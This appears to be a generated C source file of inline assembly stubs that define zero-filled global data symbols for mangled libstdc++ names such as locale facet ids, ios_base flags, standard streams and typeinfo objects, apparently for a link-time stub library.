__asm__(".globl _ZNSt5ctypeIwE2idE; .pushsection .data; .type _ZNSt5ctypeIwE2idE,@object; .size _ZNSt5ctypeIwE2idE, 4; _ZNSt5ctypeIwE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt6locale3allE; .pushsection .data; .type _ZNSt6locale3allE,@object; .size _ZNSt6locale3allE, 4; _ZNSt6locale3allE: .long 0; .popsection");
__asm__(".globl _ZNSt6locale4noneE; .pushsection .data; .type _ZNSt6locale4noneE,@object; .size _ZNSt6locale4noneE, 4; _ZNSt6locale4noneE: .long 0; .popsection");
__asm__(".globl _ZNSt6locale4timeE; .pushsection .data; .type _ZNSt6locale4timeE,@object; .size _ZNSt6locale4timeE, 4; _ZNSt6locale4timeE: .long 0; .popsection");
__asm__(".globl _ZNSt6locale5ctypeE; .pushsection .data; .type _ZNSt6locale5ctypeE,@object; .size _ZNSt6locale5ctypeE, 4; _ZNSt6locale5ctypeE: .long 0; .popsection");
__asm__(".globl _ZNSt6locale7collateE; .pushsection .data; .type _ZNSt6locale7collateE,@object; .size _ZNSt6locale7collateE, 4; _ZNSt6locale7collateE: .long 0; .popsection");
__asm__(".globl _ZNSt6locale7numericE; .pushsection .data; .type _ZNSt6locale7numericE,@object; .size _ZNSt6locale7numericE, 4; _ZNSt6locale7numericE: .long 0; .popsection");
__asm__(".globl _ZNSt6locale8messagesE; .pushsection .data; .type _ZNSt6locale8messagesE,@object; .size _ZNSt6locale8messagesE, 4; _ZNSt6locale8messagesE: .long 0; .popsection");
__asm__(".globl _ZNSt6locale8monetaryE; .pushsection .data; .type _ZNSt6locale8monetaryE,@object; .size _ZNSt6locale8monetaryE, 4; _ZNSt6locale8monetaryE: .long 0; .popsection");
__asm__(".globl _ZNSt7codecvtIcc11__mbstate_tE2idE; .pushsection .data; .type _ZNSt7codecvtIcc11__mbstate_tE2idE,@object; .size _ZNSt7codecvtIcc11__mbstate_tE2idE, 4; _ZNSt7codecvtIcc11__mbstate_tE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt7codecvtIwc11__mbstate_tE2idE; .pushsection .data; .type _ZNSt7codecvtIwc11__mbstate_tE2idE,@object; .size _ZNSt7codecvtIwc11__mbstate_tE2idE, 4; _ZNSt7codecvtIwc11__mbstate_tE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt7collateIcE2idE; .pushsection .data; .type _ZNSt7collateIcE2idE,@object; .size _ZNSt7collateIcE2idE, 4; _ZNSt7collateIcE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt7collateIwE2idE; .pushsection .data; .type _ZNSt7collateIwE2idE,@object; .size _ZNSt7collateIwE2idE, 4; _ZNSt7collateIwE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE, 4; _ZNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE, 4; _ZNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE, 4; _ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE, 4; _ZNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base10floatfieldE; .pushsection .data; .type _ZNSt8ios_base10floatfieldE,@object; .size _ZNSt8ios_base10floatfieldE, 4; _ZNSt8ios_base10floatfieldE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base10scientificE; .pushsection .data; .type _ZNSt8ios_base10scientificE,@object; .size _ZNSt8ios_base10scientificE, 4; _ZNSt8ios_base10scientificE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base11adjustfieldE; .pushsection .data; .type _ZNSt8ios_base11adjustfieldE,@object; .size _ZNSt8ios_base11adjustfieldE, 4; _ZNSt8ios_base11adjustfieldE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base2inE; .pushsection .data; .type _ZNSt8ios_base2inE,@object; .size _ZNSt8ios_base2inE, 4; _ZNSt8ios_base2inE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base3appE; .pushsection .data; .type _ZNSt8ios_base3appE,@object; .size _ZNSt8ios_base3appE, 4; _ZNSt8ios_base3appE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base3ateE; .pushsection .data; .type _ZNSt8ios_base3ateE,@object; .size _ZNSt8ios_base3ateE, 4; _ZNSt8ios_base3ateE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base3begE; .pushsection .data; .type _ZNSt8ios_base3begE,@object; .size _ZNSt8ios_base3begE, 4; _ZNSt8ios_base3begE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base3curE; .pushsection .data; .type _ZNSt8ios_base3curE,@object; .size _ZNSt8ios_base3curE, 4; _ZNSt8ios_base3curE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base3decE; .pushsection .data; .type _ZNSt8ios_base3decE,@object; .size _ZNSt8ios_base3decE, 4; _ZNSt8ios_base3decE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base3endE; .pushsection .data; .type _ZNSt8ios_base3endE,@object; .size _ZNSt8ios_base3endE, 4; _ZNSt8ios_base3endE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base3hexE; .pushsection .data; .type _ZNSt8ios_base3hexE,@object; .size _ZNSt8ios_base3hexE, 4; _ZNSt8ios_base3hexE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base3octE; .pushsection .data; .type _ZNSt8ios_base3octE,@object; .size _ZNSt8ios_base3octE, 4; _ZNSt8ios_base3octE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base3outE; .pushsection .data; .type _ZNSt8ios_base3outE,@object; .size _ZNSt8ios_base3outE, 4; _ZNSt8ios_base3outE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base4leftE; .pushsection .data; .type _ZNSt8ios_base4leftE,@object; .size _ZNSt8ios_base4leftE, 4; _ZNSt8ios_base4leftE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base5fixedE; .pushsection .data; .type _ZNSt8ios_base5fixedE,@object; .size _ZNSt8ios_base5fixedE, 4; _ZNSt8ios_base5fixedE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base5rightE; .pushsection .data; .type _ZNSt8ios_base5rightE,@object; .size _ZNSt8ios_base5rightE, 4; _ZNSt8ios_base5rightE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base5truncE; .pushsection .data; .type _ZNSt8ios_base5truncE,@object; .size _ZNSt8ios_base5truncE, 4; _ZNSt8ios_base5truncE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base6badbitE; .pushsection .data; .type _ZNSt8ios_base6badbitE,@object; .size _ZNSt8ios_base6badbitE, 4; _ZNSt8ios_base6badbitE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base6binaryE; .pushsection .data; .type _ZNSt8ios_base6binaryE,@object; .size _ZNSt8ios_base6binaryE, 4; _ZNSt8ios_base6binaryE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base6eofbitE; .pushsection .data; .type _ZNSt8ios_base6eofbitE,@object; .size _ZNSt8ios_base6eofbitE, 4; _ZNSt8ios_base6eofbitE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base6skipwsE; .pushsection .data; .type _ZNSt8ios_base6skipwsE,@object; .size _ZNSt8ios_base6skipwsE, 4; _ZNSt8ios_base6skipwsE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base7failbitE; .pushsection .data; .type _ZNSt8ios_base7failbitE,@object; .size _ZNSt8ios_base7failbitE, 4; _ZNSt8ios_base7failbitE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base7goodbitE; .pushsection .data; .type _ZNSt8ios_base7goodbitE,@object; .size _ZNSt8ios_base7goodbitE, 4; _ZNSt8ios_base7goodbitE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base7showposE; .pushsection .data; .type _ZNSt8ios_base7showposE,@object; .size _ZNSt8ios_base7showposE, 4; _ZNSt8ios_base7showposE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base7unitbufE; .pushsection .data; .type _ZNSt8ios_base7unitbufE,@object; .size _ZNSt8ios_base7unitbufE, 4; _ZNSt8ios_base7unitbufE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base8internalE; .pushsection .data; .type _ZNSt8ios_base8internalE,@object; .size _ZNSt8ios_base8internalE, 4; _ZNSt8ios_base8internalE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base8showbaseE; .pushsection .data; .type _ZNSt8ios_base8showbaseE,@object; .size _ZNSt8ios_base8showbaseE, 4; _ZNSt8ios_base8showbaseE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base9basefieldE; .pushsection .data; .type _ZNSt8ios_base9basefieldE,@object; .size _ZNSt8ios_base9basefieldE, 4; _ZNSt8ios_base9basefieldE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base9boolalphaE; .pushsection .data; .type _ZNSt8ios_base9boolalphaE,@object; .size _ZNSt8ios_base9boolalphaE, 4; _ZNSt8ios_base9boolalphaE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base9showpointE; .pushsection .data; .type _ZNSt8ios_base9showpointE,@object; .size _ZNSt8ios_base9showpointE, 4; _ZNSt8ios_base9showpointE: .long 0; .popsection");
__asm__(".globl _ZNSt8ios_base9uppercaseE; .pushsection .data; .type _ZNSt8ios_base9uppercaseE,@object; .size _ZNSt8ios_base9uppercaseE, 4; _ZNSt8ios_base9uppercaseE: .long 0; .popsection");
__asm__(".globl _ZNSt8messagesIcE2idE; .pushsection .data; .type _ZNSt8messagesIcE2idE,@object; .size _ZNSt8messagesIcE2idE, 4; _ZNSt8messagesIcE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt8messagesIwE2idE; .pushsection .data; .type _ZNSt8messagesIwE2idE,@object; .size _ZNSt8messagesIwE2idE, 4; _ZNSt8messagesIwE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt8numpunctIcE2idE; .pushsection .data; .type _ZNSt8numpunctIcE2idE,@object; .size _ZNSt8numpunctIcE2idE, 4; _ZNSt8numpunctIcE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt8numpunctIwE2idE; .pushsection .data; .type _ZNSt8numpunctIwE2idE,@object; .size _ZNSt8numpunctIwE2idE, 4; _ZNSt8numpunctIwE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE, 4; _ZNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE, 4; _ZNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE, 4; _ZNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE, 4; _ZNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE, 4; _ZNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE, 4; _ZNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE, 4; _ZNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE, 4; _ZNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZSt3cin; .pushsection .data; .type _ZSt3cin,@object; .size _ZSt3cin, 144; _ZSt3cin: .long 0; .popsection");
__asm__(".globl _ZSt4cerr; .pushsection .data; .type _ZSt4cerr,@object; .size _ZSt4cerr, 140; _ZSt4cerr: .long 0; .popsection");
__asm__(".globl _ZSt4clog; .pushsection .data; .type _ZSt4clog,@object; .size _ZSt4clog, 140; _ZSt4clog: .long 0; .popsection");
__asm__(".globl _ZSt4cout; .pushsection .data; .type _ZSt4cout,@object; .size _ZSt4cout, 140; _ZSt4cout: .long 0; .popsection");
__asm__(".globl _ZSt4wcin; .pushsection .data; .type _ZSt4wcin,@object; .size _ZSt4wcin, 148; _ZSt4wcin: .long 0; .popsection");
__asm__(".globl _ZSt5wcerr; .pushsection .data; .type _ZSt5wcerr,@object; .size _ZSt5wcerr, 144; _ZSt5wcerr: .long 0; .popsection");
__asm__(".globl _ZSt5wclog; .pushsection .data; .type _ZSt5wclog,@object; .size _ZSt5wclog, 144; _ZSt5wclog: .long 0; .popsection");
__asm__(".globl _ZSt5wcout; .pushsection .data; .type _ZSt5wcout,@object; .size _ZSt5wcout, 144; _ZSt5wcout: .long 0; .popsection");
__asm__(".globl _ZSt7nothrow; .pushsection .data; .type _ZSt7nothrow,@object; .size _ZSt7nothrow, 1; _ZSt7nothrow: .long 0; .popsection");
__asm__(".globl _ZTIN10__cxxabiv116__enum_type_infoE; .pushsection .data; .type _ZTIN10__cxxabiv116__enum_type_infoE,@object; .size _ZTIN10__cxxabiv116__enum_type_infoE, 12; _ZTIN10__cxxabiv116__enum_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTIN10__cxxabiv117__array_type_infoE; .pushsection .data; .type _ZTIN10__cxxabiv117__array_type_infoE,@object; .size _ZTIN10__cxxabiv117__array_type_infoE, 12; _ZTIN10__cxxabiv117__array_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTIN10__cxxabiv117__class_type_infoE; .pushsection .data; .type _ZTIN10__cxxabiv117__class_type_infoE,@object; .size _ZTIN10__cxxabiv117__class_type_infoE, 12; _ZTIN10__cxxabiv117__class_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTIN10__cxxabiv117__pbase_type_infoE; .pushsection .data; .type _ZTIN10__cxxabiv117__pbase_type_infoE,@object; .size _ZTIN10__cxxabiv117__pbase_type_infoE, 12; _ZTIN10__cxxabiv117__pbase_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTIN10__cxxabiv119__pointer_type_infoE; .pushsection .data; .type _ZTIN10__cxxabiv119__pointer_type_infoE,@object; .size _ZTIN10__cxxabiv119__pointer_type_infoE, 12; _ZTIN10__cxxabiv119__pointer_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTIN10__cxxabiv120__function_type_infoE; .pushsection .data; .type _ZTIN10__cxxabiv120__function_type_infoE,@object; .size _ZTIN10__cxxabiv120__function_type_infoE, 12; _ZTIN10__cxxabiv120__function_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTIN10__cxxabiv120__si_class_type_infoE; .pushsection .data; .type _ZTIN10__cxxabiv120__si_class_type_infoE,@object; .size _ZTIN10__cxxabiv120__si_class_type_infoE, 12; _ZTIN10__cxxabiv120__si_class_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTIN10__cxxabiv121__vmi_class_type_infoE; .pushsection .data; .type _ZTIN10__cxxabiv121__vmi_class_type_infoE,@object; .size _ZTIN10__cxxabiv121__vmi_class_type_infoE, 12; _ZTIN10__cxxabiv121__vmi_class_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTIN10__cxxabiv123__fundamental_type_infoE; .pushsection .data; .type _ZTIN10__cxxabiv123__fundamental_type_infoE,@object; .size _ZTIN10__cxxabiv123__fundamental_type_infoE, 12; _ZTIN10__cxxabiv123__fundamental_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTIN10__cxxabiv129__pointer_to_member_type_infoE; .pushsection .data; .type _ZTIN10__cxxabiv129__pointer_to_member_type_infoE,@object; .size _ZTIN10__cxxabiv129__pointer_to_member_type_infoE, 12; _ZTIN10__cxxabiv129__pointer_to_member_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTIN9__gnu_cxx13stdio_filebufIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTIN9__gnu_cxx13stdio_filebufIcSt11char_traitsIcEEE,@object; .size _ZTIN9__gnu_cxx13stdio_filebufIcSt11char_traitsIcEEE, 12; _ZTIN9__gnu_cxx13stdio_filebufIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTIN9__gnu_cxx13stdio_filebufIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTIN9__gnu_cxx13stdio_filebufIwSt11char_traitsIwEEE,@object; .size _ZTIN9__gnu_cxx13stdio_filebufIwSt11char_traitsIwEEE, 12; _ZTIN9__gnu_cxx13stdio_filebufIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTIN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTIN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE,@object; .size _ZTIN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE, 12; _ZTIN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTIN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTIN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE,@object; .size _ZTIN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE, 12; _ZTIN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTINSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTINSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTINSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE, 12; _ZTINSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTINSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTINSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTINSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE, 12; _ZTINSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTINSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTINSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTINSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE, 12; _ZTINSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTINSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTINSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTINSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE, 12; _ZTINSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTINSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTINSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTINSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE, 12; _ZTINSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTINSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTINSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTINSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE, 12; _ZTINSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTINSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTINSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTINSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE, 12; _ZTINSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTINSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTINSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTINSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE, 12; _ZTINSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTINSt6locale5facetE; .pushsection .data; .type _ZTINSt6locale5facetE,@object; .size _ZTINSt6locale5facetE, 8; _ZTINSt6locale5facetE: .long 0; .popsection");
__asm__(".globl _ZTINSt8ios_base7failureE; .pushsection .data; .type _ZTINSt8ios_base7failureE,@object; .size _ZTINSt8ios_base7failureE, 12; _ZTINSt8ios_base7failureE: .long 0; .popsection");
__asm__(".globl _ZTIPKa; .pushsection .data; .type _ZTIPKa,@object; .size _ZTIPKa, 16; _ZTIPKa: .long 0; .popsection");
__asm__(".globl _ZTIPKb; .pushsection .data; .type _ZTIPKb,@object; .size _ZTIPKb, 16; _ZTIPKb: .long 0; .popsection");
__asm__(".globl _ZTIPKc; .pushsection .data; .type _ZTIPKc,@object; .size _ZTIPKc, 16; _ZTIPKc: .long 0; .popsection");
__asm__(".globl _ZTIPKd; .pushsection .data; .type _ZTIPKd,@object; .size _ZTIPKd, 16; _ZTIPKd: .long 0; .popsection");
__asm__(".globl _ZTIPKe; .pushsection .data; .type _ZTIPKe,@object; .size _ZTIPKe, 16; _ZTIPKe: .long 0; .popsection");
__asm__(".globl _ZTIPKf; .pushsection .data; .type _ZTIPKf,@object; .size _ZTIPKf, 16; _ZTIPKf: .long 0; .popsection");
__asm__(".globl _ZTIPKg; .pushsection .data; .type _ZTIPKg,@object; .size _ZTIPKg, 16; _ZTIPKg: .long 0; .popsection");
__asm__(".globl _ZTIPKh; .pushsection .data; .type _ZTIPKh,@object; .size _ZTIPKh, 16; _ZTIPKh: .long 0; .popsection");
__asm__(".globl _ZTIPKi; .pushsection .data; .type _ZTIPKi,@object; .size _ZTIPKi, 16; _ZTIPKi: .long 0; .popsection");
__asm__(".globl _ZTIPKj; .pushsection .data; .type _ZTIPKj,@object; .size _ZTIPKj, 16; _ZTIPKj: .long 0; .popsection");
__asm__(".globl _ZTIPKl; .pushsection .data; .type _ZTIPKl,@object; .size _ZTIPKl, 16; _ZTIPKl: .long 0; .popsection");
__asm__(".globl _ZTIPKm; .pushsection .data; .type _ZTIPKm,@object; .size _ZTIPKm, 16; _ZTIPKm: .long 0; .popsection");
__asm__(".globl _ZTIPKs; .pushsection .data; .type _ZTIPKs,@object; .size _ZTIPKs, 16; _ZTIPKs: .long 0; .popsection");
__asm__(".globl _ZTIPKt; .pushsection .data; .type _ZTIPKt,@object; .size _ZTIPKt, 16; _ZTIPKt: .long 0; .popsection");
__asm__(".globl _ZTIPKv; .pushsection .data; .type _ZTIPKv,@object; .size _ZTIPKv, 16; _ZTIPKv: .long 0; .popsection");
__asm__(".globl _ZTIPKw; .pushsection .data; .type _ZTIPKw,@object; .size _ZTIPKw, 16; _ZTIPKw: .long 0; .popsection");
__asm__(".globl _ZTIPKx; .pushsection .data; .type _ZTIPKx,@object; .size _ZTIPKx, 16; _ZTIPKx: .long 0; .popsection");
__asm__(".globl _ZTIPKy; .pushsection .data; .type _ZTIPKy,@object; .size _ZTIPKy, 16; _ZTIPKy: .long 0; .popsection");
__asm__(".globl _ZTIPa; .pushsection .data; .type _ZTIPa,@object; .size _ZTIPa, 16; _ZTIPa: .long 0; .popsection");
__asm__(".globl _ZTIPb; .pushsection .data; .type _ZTIPb,@object; .size _ZTIPb, 16; _ZTIPb: .long 0; .popsection");
__asm__(".globl _ZTIPc; .pushsection .data; .type _ZTIPc,@object; .size _ZTIPc, 16; _ZTIPc: .long 0; .popsection");
__asm__(".globl _ZTIPd; .pushsection .data; .type _ZTIPd,@object; .size _ZTIPd, 16; _ZTIPd: .long 0; .popsection");
__asm__(".globl _ZTIPe; .pushsection .data; .type _ZTIPe,@object; .size _ZTIPe, 16; _ZTIPe: .long 0; .popsection");
__asm__(".globl _ZTIPf; .pushsection .data; .type _ZTIPf,@object; .size _ZTIPf, 16; _ZTIPf: .long 0; .popsection");
__asm__(".globl _ZTIPg; .pushsection .data; .type _ZTIPg,@object; .size _ZTIPg, 16; _ZTIPg: .long 0; .popsection");
__asm__(".globl _ZTIPh; .pushsection .data; .type _ZTIPh,@object; .size _ZTIPh, 16; _ZTIPh: .long 0; .popsection");
__asm__(".globl _ZTIPi; .pushsection .data; .type _ZTIPi,@object; .size _ZTIPi, 16; _ZTIPi: .long 0; .popsection");
__asm__(".globl _ZTIPj; .pushsection .data; .type _ZTIPj,@object; .size _ZTIPj, 16; _ZTIPj: .long 0; .popsection");
__asm__(".globl _ZTIPl; .pushsection .data; .type _ZTIPl,@object; .size _ZTIPl, 16; _ZTIPl: .long 0; .popsection");
__asm__(".globl _ZTIPm; .pushsection .data; .type _ZTIPm,@object; .size _ZTIPm, 16; _ZTIPm: .long 0; .popsection");
